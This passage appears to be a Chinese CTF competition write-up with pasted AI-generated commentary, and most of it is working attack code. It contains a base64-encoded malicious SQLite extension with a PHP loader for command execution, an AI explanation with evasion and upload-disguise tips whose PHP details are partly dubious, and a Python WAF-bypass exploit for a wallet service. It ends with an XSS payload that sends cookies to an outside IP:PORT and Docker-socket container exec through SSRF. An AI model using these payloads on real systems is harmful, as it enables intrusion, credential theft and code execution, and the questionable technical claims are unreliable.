AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQBEAAAAAAAAAEQAAAAAAAAEAAAAAAAAAmAAAAAAAAAAMAAAAAAAAAAAQAAAAAAAADQAAAAAAAAA0EgAAAAAAABkAAAAAAAAA8D0AAAAAAAAbAAAAAAAAAAgAAAAAAAAAGgAAAAAAAAD4PQAAAAAAABwAAAAAAAAACAAAAAAAAAD1%2Fv9vAAAAAGACAAAAAAAABQAAAAAAAACoAwAAAAAAAAYAAAAAAAAAiAIAAAAAAAAKAAAAAAAAAK4AAAAAAAAACwAAAAAAAAAYAAAAAAAAAAMAAAAAAAAA6D8AAAAAAAACAAAAAAAAAHgAAAAAAAAAFAAAAAAAAAAHAAAAAAAAABcAAAAAAAAAUAUAAAAAAAAHAAAAAAAAAJAEAAAAAAAACAAAAAAAAADAAAAAAAAAAAkAAAAAAAAAGAAAAAAAAAD%2B%2F%2F9vAAAAAHAEAAAAAAAA%2F%2F%2F%2FbwAAAAABAAAAAAAAAPD%2F%2F28AAAAAVgQAAAAAAAD5%2F%2F9vAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAANhAAAAAAAABGEAAAAAAAAFYQAAAAAAAAZhAAAAAAAAB2EAAAAAAAAChAAAAAAAAAR0NDOiAoRGViaWFuIDE1LjIuMC00KSAxNS4yLjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAABADx%2FwAAAAAAAAAAAAAAAAAAAAAMAAAAAgAMAJAQAAAAAAAAAAAAAAAAAAAOAAAAAgAMAMAQAAAAAAAAAAAAAAAAAAAhAAAAAgAMAAARAAAAAAAAAAAAAAAAAAA3AAAAAQAXADBAAAAAAAAAAQAAAAAAAABDAAAAAQASAPg9AAAAAAAAAAAAAAAAAABqAAAAAgAMAEARAAAAAAAAAAAAAAAAAAB2AAAAAQARAPA9AAAAAAAAAAAAAAAAAACVAAAABADx%2FwAAAAAAAAAAAAAAAAAAAAABAAAABADx%2FwAAAAAAAAAAAAAAAAAAAACcAAAAAQAQALAgAAAAAAAAAAAAAAAAAAAAAAAABADx%2FwAAAAAAAAAAAAAAAAAAAACqAAAAAgANADQSAAAAAAAAAAAAAAAAAACwAAAAAQAWAChAAAAAAAAAAAAAAAAAAAC9AAAAAQATAAA%2BAAAAAAAAAAAAAAAAAADGAAAAAAAPABAgAAAAAAAAAAAAAAAAAADZAAAAAQAWADBAAAAAAAAAAAAAAAAAAADlAAAAAQAVAOg%2FAAAAAAAAAAAAAAAAAACBAQAAAgAJAAAQAAAAAAAAAAAAAAAAAAD7AAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAXAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAAqAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAA9AQAAEgAAAAAAAAAAAAAAAAAAAAAAAABRAQAAEgAAAAAAAAAAAAAAAAAAAAAAAABjAQAAIAAAAAAAAAAAAAAAAAAAAAAAAAByAQAAEgAMAEkRAAAAAAAA6QAAAAAAAACHAQAAEgAAAAAAAAAAAAAAAAAAAAAAAACZAQAAIAAAAAAAAAAAAAAAAAAAAAAAAACzAQAAEQAXADhAAAAAAAAACAAAAAAAAAC%2FAQAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAY3J0c3R1ZmYuYwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjAAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AHJlYzMuYwBfX0ZSQU1FX0VORF9fAF9maW5pAF9fZHNvX2hhbmRsZQBfRFlOQU1JQwBfX0dOVV9FSF9GUkFNRV9IRFIAX19UTUNfRU5EX18AX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBmY2xvc2VAR0xJQkNfMi4yLjUAc3lzdGVtQEdMSUJDXzIuMi41AHN0cmNzcG5AR0xJQkNfMi4yLjUAZmdldHNAR0xJQkNfMi4yLjUAX19nbW9uX3N0YXJ0X18Ac3FsaXRlM19leHBsb2l0X2luaXQAZm9wZW5AR0xJQkNfMi4yLjUAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBzcWxpdGUzX2FwaQBfX2N4YV9maW5hbGl6ZUBHTElCQ18yLjIuNQAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbGEuZHluAC5yZWxhLnBsdAAuaW5pdAAucGx0LmdvdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5maW5pX2FycmF5AC5keW5hbWljAC5nb3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAcAAAACAAAAAAAAADgCAAAAAAAAOAIAAAAAAAAkAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAC4AAAD2%2F%2F9vAgAAAAAAAABgAgAAAAAAAGACAAAAAAAAKAAAAAAAAAADAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAA4AAAACwAAAAIAAAAAAAAAiAIAAAAAAACIAgAAAAAAACABAAAAAAAABAAAAAEAAAAIAAAAAAAAABgAAAAAAAAAQAAAAAMAAAACAAAAAAAAAKgDAAAAAAAAqAMAAAAAAACuAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAEgAAAD%2F%2F%2F9vAgAAAAAAAABWBAAAAAAAAFYEAAAAAAAAGAAAAAAAAAADAAAAAAAAAAIAAAAAAAAAAgAAAAAAAABVAAAA%2Fv%2F%2FbwIAAAAAAAAAcAQAAAAAAABwBAAAAAAAACAAAAAAAAAABAAAAAEAAAAIAAAAAAAAAAAAAAAAAAAAZAAAAAQAAAACAAAAAAAAAJAEAAAAAAAAkAQAAAAAAADAAAAAAAAAAAMAAAAAAAAACAAAAAAAAAAYAAAAAAAAAG4AAAAEAAAAQgAAAAAAAABQBQAAAAAAAFAFAAAAAAAAeAAAAAAAAAADAAAAFQAAAAgAAAAAAAAAGAAAAAAAAAB4AAAAAQAAAAYAAAAAAAAAABAAAAAAAAAAEAAAAAAAABcAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAcwAAAAEAAAAGAAAAAAAAACAQAAAAAAAAIBAAAAAAAABgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAH4AAAABAAAABgAAAAAAAACAEAAAAAAAAIAQAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAACHAAAAAQAAAAYAAAAAAAAAkBAAAAAAAACQEAAAAAAAAKIBAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAjQAAAAEAAAAGAAAAAAAAADQSAAAAAAAANBIAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAJMAAAABAAAAAgAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACbAAAAAQAAAAIAAAAAAAAAECAAAAAAAAAQIAAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAqQAAAAEAAAACAAAAAAAAADggAAAAAAAAOCAAAAAAAAB8AAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAALMAAAAOAAAAAwAAAAAAAADwPQAAAAAAAPAtAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAC%2FAAAADwAAAAMAAAAAAAAA%2BD0AAAAAAAD4LQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAywAAAAYAAAADAAAAAAAAAAA%2BAAAAAAAAAC4AAAAAAADAAQAAAAAAAAQAAAAAAAAACAAAAAAAAAAQAAAAAAAAAIIAAAABAAAAAwAAAAAAAADAPwAAAAAAAMAvAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADUAAAAAQAAAAMAAAAAAAAA6D8AAAAAAADoLwAAAAAAAEAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA3QAAAAEAAAADAAAAAAAAAChAAAAAAAAAKDAAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAOMAAAAIAAAAAwAAAAAAAAAwQAAAAAAAADAwAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADoAAAAAQAAADAAAAAAAAAAAAAAAAAAAAAwMAAAAAAAAB4AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAUDAAAAAAAADoAgAAAAAAABoAAAAUAAAACAAAAAAAAAAYAAAAAAAAAAkAAAADAAAAAAAAAAAAAAAAAAAAAAAAADgzAAAAAAAA2gEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAASNQAAAAAAAPEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA%22%3B%0A%0Afile%5Fput%5Fcontents%28%22%2Ftmp%2Fexploit%2Eso%22%2Cbase64%5Fdecode%28%24base64%5Fso%29%29%3B

然后拿 flag 即可

<?php
file_put_contents("/tmp/1.txt","cat /flag_141f80cc2-4400-45f0-9399-4900efb730f5 > /tmp/4.txt");
$db = new Pdo\Sqlite('sqlite::memory:');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->loadExtension('/tmp/exploit.so');
echo file_get_contents("/tmp/4.txt");
POST / HTTP/1.1
Host: 173.32.20.181
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 496

%73%6f%5f%65%7a%21%6b%31%64%64%69%26%67%3f=file%5Fput%5Fcontents%28%22%2Ftmp%2F1%2Etxt%22%2C%22cat%20%


"""

这里ai解释一下。

你提到的内容涉及利用 SQLite3 扩展机制在受限环境中执行任意代码,这是一个典型的 安全研究/渗透测试 场景,尤其适用于绕过 putenv 被禁用、无法直接加载 .so 的情况。我们来逐段拆解你提供的信息和代码,深入分析其背后的知识点、原理、限制与利用方式。


🔍 背景知识:SQLite 扩展加载机制

SQLite3::loadExtension()PDO::SQLite::loadExtension()

  • SQLite3 扩展 允许用户加载外部共享库(.so / .dll)来注册自定义函数、聚合器、虚拟表等。
  • PHP 提供了两种方式加载扩展:
    1. SQLite3::loadExtension(string $shared_library) —— 面向过程风格
    2. PDO::SQLite::loadExtension(string $shared_library) —— PDO 风格

⚠️ 注意:这些方法默认在 PHP 编译时启用 SQLite 扩展支持,但 运行时是否可用受限于两个因素

  • PHP 配置项:sqlite3.extension_dir(仅对 SQLite3 类有效)
  • SQLite 编译选项:SQLITE_ENABLE_LOAD_EXTENSION(必须开启)

🔒 安全限制与绕过思路

❌ 常见限制

  1. putenv() 被禁用 → 无法设置环境变量(如 LD_LIBRARY_PATH, PATH, SQLITE_EXTENSION_DIR
  2. sqlite3.extension_dir 被设置为一个不可写路径 → 无法将 .so 放入指定目录
  3. open_basedir 限制 → 无法访问 /tmp 或其他路径
  4. disable_functions 包含 system, exec, shell_exec 等 → 无法直接执行命令

✅ 利用点发现:PDO::SQLite::loadExtension 似乎没有目录限制?

这是关键突破口!

🔍 实验现象:
  • SQLite3::loadExtension('evil.so') → 报错:not in extension_dir
  • PDO::SQLite::loadExtension('evil.so')成功加载(即使不在 extension_dir
✅ 原因分析:
  • sqlite3.extension_dirSQLite3 模块的 PHP 层限制,不是 SQLite 引擎本身的限制。
  • PDO::SQLiteloadExtension 方法 直接调用底层 SQLite C API sqlite3_load_extension()绕过了 PHP 层的 extension_dir 校验

✅ 结论:PDO::SQLite::loadExtension 不受 sqlite3.extension_dir 限制!
这是 PHP 实现上的差异,属于 逻辑绕过漏洞(非官方漏洞,但确实是安全绕过点)


🧨 利用链构建

目标:在 putenv 被 ban、无法写 extension_dir、无法执行命令的情况下,加载恶意 .so 实现代码执行

步骤:

步骤 操作 说明
1 编写恶意 SQLite 扩展 .so 在扩展初始化时执行系统命令(如 system()
2 .so 上传到可写路径(如 /tmp/evil.so 绕过 extension_dir 限制
3 使用 PDO('sqlite::memory:') 创建内存数据库 无需文件,避免权限问题
4 调用 $pdo->sqliteCreateFunction() 或直接 loadExtension('绝对路径') 加载扩展
5 扩展自动执行 sqlite3_extension_init() 中的恶意代码 实现命令执行

📜 代码详解:你提供的恶意扩展

#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

SQLITE_EXTENSION_INIT1

🔹 SQLITE_EXTENSION_INIT1

  • 宏定义,用于初始化扩展所需的函数指针表
  • 必须放在所有函数定义之前

#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
    sqlite3 *db,
    char **pzErrMsg,
    const sqlite3_api_routines *pApi
) {
    SQLITE_EXTENSION_INIT2(pApi);

🔹 sqlite3_exploit_init:扩展入口函数

  • 命名规则必须是:sqlite3_<扩展名>_init
  • 当你加载 evil.so 时,SQLite 会寻找 sqlite3_evil_init
  • 所以你的共享库文件名必须是 exploit.so,否则找不到入口!

✅ 重要:若文件名为 evil.so,则函数名应为 sqlite3_evil_init


    const char *command_file_path = "/tmp/1.txt";
    char command_buffer[512] = {0};
    FILE *file_handle;

    file_handle = fopen(command_file_path, "r");
    if (file_handle == NULL) {
        return SQLITE_OK;  // 静默失败,避免报错
    }

    if (fgets(command_buffer, sizeof(command_buffer), file_handle) != NULL) {
        command_buffer[strcspn(command_buffer, "\r\n")] = 0;  // 去除换行
        if (strlen(command_buffer) > 0) {
            system(command_buffer);  // ⚠️ 执行命令!
        }
    }
    fclose(file_handle);
    return SQLITE_OK;
}

🔍 设计亮点:

  • 不直接硬编码命令,而是从 /tmp/1.txt 读取 → 更隐蔽,可动态控制
  • 静默失败(返回 SQLITE_OK)→ 避免暴露错误信息
  • 使用 system() → 实现任意命令执行

🧪 PHP 利用代码示例

<?php
// 确保目标已上传 exploit.so 到 /tmp/exploit.so
// 并写入命令:echo "id > /tmp/out.txt" > /tmp/1.txt

try {
    $pdo = new PDO('sqlite::memory:');
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    // 关键:使用 PDO 加载扩展,绕过 extension_dir 限制
    $pdo->sqliteCreateFunction('load_extension', null); // 某些版本需要前置调用(可省略)
    $pdo->query("SELECT load_extension('/tmp/exploit.so')");  // 触发加载

    echo "扩展加载完成,命令应已执行\n";
} catch (Exception $e) {
    echo "Error: " . $e->getMessage();
}
?>

⚠️ 注意事项与限制

限制 说明 绕过建议
SQLITE_ENABLE_LOAD_EXTENSION 未开启 SQLite 编译时必须启用此选项 无法绕过,需目标 PHP 支持
PDO::SQLite 禁用 loadExtension PHP 7.4+ 起,默认禁用 loadExtension 方法 php.ini 设置 pdo_sqlite.extension_dir 或启用扩展(多数共享主机禁用)
SELinux / AppArmor 阻止 .so 加载或 system() 执行 提权前需绕过 MAC 机制
路径不可写 无法上传 .so 利用已有可写目录(如 /tmp, /var/tmp, upload_tmp_dir
open_basedir 限制 无法访问 /tmp 尝试上传到允许路径(如 session 目录)

✅ 总结:知识点提炼

知识点 描述
🎯 PDO::SQLite::loadExtension 绕过 extension_dir PHP 层校验缺失,直接调 SQLite C API
🔐 扩展入口函数命名规则 必须为 sqlite3_<name>_init,与文件名匹配
🧨 利用扩展初始化执行代码 sqlite3_extension_init() 中调用 system() 实现 RCE
🧼 隐蔽设计 从文件读命令、静默失败、无回显 → 绕过 WAF/日志检测
⚠️ 依赖条件 SQLITE_ENABLE_LOAD_EXTENSION 开启 + PDO 未禁用扩展加载

✅ 实战建议

  1. 先探测是否支持扩展加载

    try {
        $pdo = new PDO('sqlite::memory:');
        $pdo->query("SELECT load_extension('nonexist')");
    } catch (Exception $e) {
        if (strpos($e->getMessage(), 'not authorized') !== false) {
            echo "扩展加载被禁用";
        } elseif (strpos($e->getMessage(), 'no such file') !== false) {
            echo "扩展加载可用!";
        }
    }
    
  2. 上传 .so 技巧

    • 利用文件上传功能 → 改后缀为 .jpg → 通过 LFI 或路径拼接移动到 /tmp/exploit.so
    • 利用 move_uploaded_file() 到可控路径
  3. 命令回显方案

    • 将结果写入文件 → 用 file_get_contents() 读取
    • 或使用 SQLite 自定义函数返回结果(更高级)

wallet :

当时我们的exp

#!/usr/bin/env python3
"""
Wallet 题目 exploit(钱包转账绕过)
核心思路:
1. 网关 WAF 只拦截路径 /transfer,把请求发到 /transfer/. 就能绕过前置校验。
2. 后端代码仍然执行转账逻辑,我们不断给 admin→admin 转账,寻找能触发“精度/溢出/彩蛋”的金额,让余额暴涨。
3. 余额 ≥ 100000.01 时请求 /flag?username=admin 拿 flag。
"""
import argparse
import json
import sys
import time
from math import isfinite
import requests

# ---------- 工具函数:真正发转账包 ----------
def try_amount(session, base, amount):
    # 绕过路径:加个点
    url = base.rstrip('/') + '/transfer/.'
    payload = {"from": "admin", "to": "admin", "amount": amount}

    # 先尝试正常 JSON
    headers = {"Content-Type": "application/json"}
    try:
        r = session.post(url, headers=headers, data=json.dumps(payload), timeout=5)
    except Exception as e:
        print(f"[!] 请求失败(utf-8): {e}")
        r = None

    # 如果 403 被拦,再换 UTF-16 + BOM 尝试绕过 WAF
    if r is not None and r.status_code != 403:
        return r

    try:
        raw = json.dumps(payload).encode('utf-16le')
        raw = b"\xff\xfe" + raw          # 加 BOM
        headers2 = {"Content-Type": "application/json; charset=utf-16"}
        r2 = session.post(url, headers=headers2, data=raw, timeout=5)
        return r2
    except Exception as e:
        print(f"[!] 请求失败(utf-16): {e}")
        return r

# ---------- 查余额 ----------
def get_balance(session, base, username='admin'):
    url = base.rstrip('/') + '/balance'
    try:
        r = session.post(url, json={"username": username}, timeout=5)
        if r.status_code == 200:
            return r.json().get('balance')
        return None
    except Exception:
        return None

# ---------- 领 flag ----------
def get_flag(session, base, username='admin'):
    url = base.rstrip('/') + f'/flag?username={username}'
    try:
        r = session.get(url, timeout=5)
        if r.status_code == 200:
            return r.json().get('flag')
        else:
            print(f"[i] 领 flag 返回 {r.status_code}: {r.text}")
            return None
    except Exception as e:
        print(f"[!] 领 flag 出错: {e}")
        return None

# ---------- 主流程 ----------
def main():
    p = argparse.ArgumentParser()
    p.add_argument('--target', '-t', required=True, help='目标基址,如 http://ip:3000')
    p.add_argument('--sleep', '-s', type=float, default=0.2, help='每次请求间隔(秒)')
    args = p.parse_args()

    base = args.target
    session = requests.Session()

    # 候选金额列表(小数/整数/幂次/边界值)
    candidates = []
    for v in [0.1, 0.2, 0.3, 0.5, 0.25, 0.125, 0.0000001, 0.0000003, 0.000001, 0.00001]:
        candidates.append(v)
    for v in [1, 2, 3, 5, 7, 10, 12.34, 99.99, 100, 123.456789]:
        candidates.append(v)
    for v in [500, 1000, 5000, 10000, 20000, 30000, 40000, 49999.99, 50000, 60000, 90000, 99999.9999]:
        candidates.append(v)
    for exp in range(-20, 21, 2):
        candidates.append(2.0 ** exp)

    tried = set()
    print(f"[*] 共 {len(candidates)} 个候选金额,开始测试...")
    bal = get_balance(session, base, 'admin')
    print(f"[i] 初始 admin 余额: {bal}")

    # 先跑一遍候选列表
    for amount in candidates:
        if not isfinite(amount) or amount in tried:
            continue
        tried.add(amount)
        print(f"[>] 尝试金额 = {amount}")
        r = try_amount(session, base, amount)
        if r is None:
            time.sleep(args.sleep)
            continue
        try:
            info = r.json()
        except Exception:
            info = r.text
        print(f"    -> HTTP {r.status_code} 响应: {info}")

        bal = get_balance(session, base, 'admin')
        print(f"    -> 当前余额: {bal}")
        # 达标就领 flag
        if bal is not None and bal >= 100000.01:
            print("[+] 余额已达标,正在领取 flag...")
            flag = get_flag(session, base, 'admin')
            if flag:
                print(f"[FLAG] {flag}")
            else:
                print("[!] 余额够了但领 flag 失败")
            return

        # 记录最佳 bonus 金额
        try:
            bonus = float(r.json().get('bonus', 0) or 0)
        except Exception:
            bonus = 0.0
        if 'best_bonus' not in locals():
            best_bonus, best_amount = bonus, amount
        else:
            if bonus > best_bonus:
                best_bonus, best_amount = bonus, amount

        time.sleep(args.sleep)

    # 如果某个金额 bonus 特别高,就反复刷它
    if 'best_bonus' in locals() and best_bonus > 0:
        print(f"[i] 最佳金额 {best_amount} 平均 bonus {best_bonus},开始连刷...")
        max_iters = 20000
        for it in range(1, max_iters + 1):
            r = try_amount(session, base, best_amount)
            if r is None:
                time.sleep(args.sleep)
                continue
            try:
                bonus = float(r.json().get('bonus', 0) or 0)
            except Exception:
                bonus = 0.0
            bal = get_balance(session, base, 'admin')
            print(f"[+] 第 {it} 次: bonus={bonus}, 余额={bal}")
            if bal is not None and bal >= 100000.01:
                print("[+] 余额达标,领取 flag...")
                flag = get_flag(session, base, 'admin')
                if flag:
                    print(f"[FLAG] {flag}")
                else:
                    print("[!] 领 flag 失败")
                return
            time.sleep(args.sleep)

    print("[-] 所有候选金额已跑完,未能达标。可扩大候选集或换绕过方式再试。")

if __name__ == '__main__':
    main()

go-storage

XCTF final 2025 N1Star web wp - ENOCH-lyn Blog

只找到这个,下面是他们内容:

"""

这题复现会有玄学问题,例如XSS拿到admin之后登不上去等

Go 端用 os.CreateTemp(uploadDir, fileInfo.Filename),如果文件名里包含 *,随机串会替换第一个 *,保留后缀。 因此使用*.html 即可上传html让bot访问,通过XSS获取admin的cookie

提交URL为http://nginx-proxy/uploads/xxx.html

<html>
  <script>fetch("http://IP:PORT?c="+document.cookie)</script>
</html>

然后访问/admin端点,是一个使用superagent的任意url访问

但是superagent的node客服端支持向Unix域套接发送请求,同时docker挂载了docker.sock

使用http+unix://%2Fvar%2Frun%2Fdocker.sock/_ping 探活

然后POSThttp+unix://%2Fvar%2Frun%2Fdocker.sock/v1.43/containers/storage-service/exec

{
  "AttachStdout": true,
  "AttachStderr": true,
  "Cmd": ["/bin/sh","-lc","cp /flag.txt /app/src/uploads/flag.txt"]
}

会获取到一个ID

然后POSThttp+unix://%2Fvar%2Frun%2Fdocker.sock/v1.43/exec/<ID>/start 内容为

